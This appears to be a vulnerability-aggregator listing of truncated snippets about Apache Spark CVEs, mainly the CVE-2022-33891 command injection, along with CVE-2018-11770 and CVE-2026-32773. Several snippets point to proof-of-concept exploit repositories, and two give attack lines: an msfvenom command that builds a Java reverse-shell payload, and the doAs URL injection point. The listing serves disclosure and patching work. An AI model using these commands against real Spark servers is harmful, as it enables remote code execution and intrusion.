Apache-spark-CVE-2022-33891

Apache-spark-CVE-2022-33891 Apache Spark RCE - CVE-2022-33891 PoC 关注我们 Vulnmachines平台 YouTube Twitter Facebook LinkedIn...

Apache Spark - Authentication Bypass

In Apache Spark 2.4.5 and earlier, a standalone resource manager's master may be configured to require authentication spark.authenticate via a shared secret. When enabled, however, a specially-crafted RPC to the master can succeed in starting an application's resources on the Spark cluster, even...

CVE-2022-33891

CVE-2022-33891 - Vulnerabilidad de Inyección de Comandos en Apache Spark ⚠️ Solo con fines educativos y de investigación de seguridad autorizada Autores del Exploit Original Muy agradecido al autor original del PoC AkbarTrilaksana Descripción La interfaz de usuario de Apache Spark ofrece la...

HELK

HELK Hunting ELK（简称 HELK）是首批具备高级分析功能的开源狩猎平台之一，它通过 Jupyter 笔记本和 Apache Spark 在 ELK 堆栈之上提供了 SQL 声明式语言、图形化、结构化流处理乃至机器学习等高级分析能力。该项目最初主要为研究而开发，但由于其灵活的设计和核心组件，在配置得当且基础设施具有可扩展性的情况下，也可以部署在更大规模的环境中。 目标 为社区提供一个开源的狩猎平台，并分享威胁狩猎的基础知识。 加快狩猎平台的部署时间。 以更简单、更经济的方式改进狩猎用例的测试与开发。 通过 Apache Spark、GraphFrames 和 Jupyter...

CVE-2022-33891

CVE-2022-33891 概念验证 针对CVE-2022-33891的概念验证，支持设置自定义载荷。 默认情况下不易受攻击 -- 需要将 spark.acls.enable 设置为 TRUE。 预期用途 此脚本的使用仅限于被授权在目标主机上运行载荷以进行漏洞修补的人员。运行此脚本前，请确保您已获得授权。 使用 root@kitploit: git clone https://github.com/west-wind/CVE-2022-33891.git python cve-2022-33891.py 开始使用 此POC期望以CSV文件输入所有目标，文件名为 allTargets.c...

CVE-2018-11770

CVE-2018-11770 Apache Spark 未授权反向 Shell RCE 基于 该 Metasploit 模块 重写的独立 Python 3 RCE 漏洞利用程序 漏洞利用 POC 在此说明。利用代码本身 在此解释。 在 Python 3.7 环境下 对该目标 进行了测试。 使用方法： root@kitploit: root@Kali:/Infosec/RubyStuff/Apache-Spark-RCE msfvenom -p java/shellreversetcp LHOST=192.168.92.134 LPORT=4444 -f jar -o...

CVE-2022-33891

「💥」CVE-2022-33891 描述 Apache Spark UI 提供了通过配置选项 spark.acls.enable 启用 ACL 的可能性。配合身份验证过滤器，该功能会检查用户是否具有查看或修改应用程序的访问权限。如果 ACL 已启用，HttpSecurityFilter 中的某条代码路径可能允许攻击者通过提供任意用户名来执行冒充操作。恶意用户随后可能能够访问一个权限检查函数，该函数最终会根据其输入构建一个 Unix shell 命令并执行它。这将导致以 Spark 当前运行的用户身份执行任意 shell 命令。此漏洞影响 Apache Spark 3.0.3...

lab_security_apache_spark_emulation_detection

此存储库没有 README。...

spark-exploit

Arbitary Code Execution in Unsecured Apache Spark Cluster How to Exploit Follow the below steps: root@kitploit: $ git clone https://github.com/akhld/spark-exploit.git $ cd spark-exploit Remote Code Execution Open exploit.scala, Replace the following code with whatever you want to get executed!...

cve-2022-33891

CVE-2022-33891 Apache Spark Shell 命令注入漏洞 一个用于利用 Apache Spark Shell 命令注入漏洞的 Python POC。我看到网上有些其他 POC 看起来很可疑。这个简单且干净。 我并未发现此漏洞/利用方式。我只是想为社区制作一个安全的 POC ^.^ 影响版本 Apache Spark 3.0.3 及更早版本、3.1.1 至 3.1.2 版本、3.2.0 至 3.2.1 版本 漏洞组件 root@kitploit: http://localhost:8080/?doAs=命令注入位置 示例 root@kitploit:...

CVE-2022-33891-EXPLOIT

CVE-2022-33891 - Apache Spark UI 远程代码执行（RCE）🔐 Apache Spark UI 容易受到远程命令注入漏洞（编号为 CVE-2022-33891）的影响。该缺陷源于对用户身份验证和访问控制处理不当，尤其是在启用访问控制列表（ACL）时。当通过 spark.acls.enable 配置选项启用 ACL 时，身份验证过滤器应验证用户是否拥有查看或修改应用程序所需的权限。然而，HttpSecurityFilter 中存在一个漏洞，允许攻击者通过提供任意用户名进行冒充。 漏洞详情 🛠 启用 ACL 后，HttpSecurityFilter...

cve-2022-33891

CVE-2022-33891 Apache Spark Shell 命令注入漏洞 一个用于利用 Apache Spark Shell 命令注入漏洞的 Python POC。我看到其他一些 POC，但看起来非常可疑。这一个干净又简单。 我并未发现此漏洞/利用方法。我只是想为社区制作一个安全的 POC ^.^ CVE 最初由 Databricks 的 Kostya Kortchinsky 发现。 更新于 2022年9月7日：哟，现在有了一个 Metasploit 模块！由 h00die-gr3y 制作，并且已经 合并！ 受影响版本 Apache Spark 版本 3.0.3 及更早版本、版本...

CVE-2022-33891

CVE-2022-33891 Apache Spark 漏洞利用。 作者 : Dr.Linux 此漏洞利用程序可在 Python 3.7 及更高版本中运行。...

BIT-SPARK-2026-32773 Apache Spark: XSS Vulnerability in Spark Web 3.5.4

There is a lack of XSS escaping in the Spark History Server prior to 3.5.8 which allows a malicious Spark job to generate arbitrary unescaped frontend code which could lead to a minimal privilege escalation in browser. Users are encouraged to upgrade to Spark 3.5.8 or later. This CVE is marked as...

Apache Spark UI - Remote Command Injection

Apache Spark UI is susceptible to remote command injection. ACLs can be enabled via the configuration option spark.acls.enable. With an authentication filter, this checks whether a user has access permissions to view or modify the application. If ACLs are enabled, a code path in HttpSecurityFilte...

CVE-2026-32773 Apache Spark: XSS Vulnerability in Spark Web 3.5.4

There is a lack of XSS escaping in the Spark History Server prior to 3.5.8 which allows a malicious Spark job to generate arbitrary unescaped frontend code which could lead to a minimal privilege escalation in browser. Users are encouraged to upgrade to Spark 3.5.8 or later. This CVE is marked as...

CVE-2026-32773 Apache Spark: XSS Vulnerability in Spark Web 3.5.4

There is a lack of XSS escaping in the Spark History Server prior to 3.5.8 which allows a malicious Spark job to generate arbitrary unescaped frontend code which could lead to a minimal privilege escalation in browser. Users are encouraged to upgrade to Spark 3.5.8 or later. This CVE is marked as...

CVE-2026-32773

Apache Spark History Server (web UI) is vulnerable to a cross-site scripting (XSS) flaw caused by insufficient output escaping prior to version 3.5.8 . A user with the ability to launch a Spark job can inject arbitrary unescaped frontend code into the history server's web pages, leading to a mini...

CVE-2021-24901

creationtimestamp| type| source ---|---|--- 2026-09-01 20:01:56+00:00| seen| https://t.me/hackingAttack/42050 2026-09-02 01:02:17+00:00| seen| https://t.me/hackingAttack/42050 2026-09-06 10:00:06+00:00| published-proof-of-concept| https://t.me/hackingAttack/42050 2026-09-07 01:00:24+00:00|...

CVE-2019-14974

creationtimestamp| type| source ---|---|--- 2026-08-27 16:00:03+00:00| seen| Telegram/tjdPFWmK8d3uOic7fBL4SWiO2RjxR5x57I46YuEU7JS4U 2026-08-28 00:00:36+00:00| seen| Telegram/tjdPFWmK8d3uOic7fBL4SWiO2RjxR5x57I46YuEU7JS4U...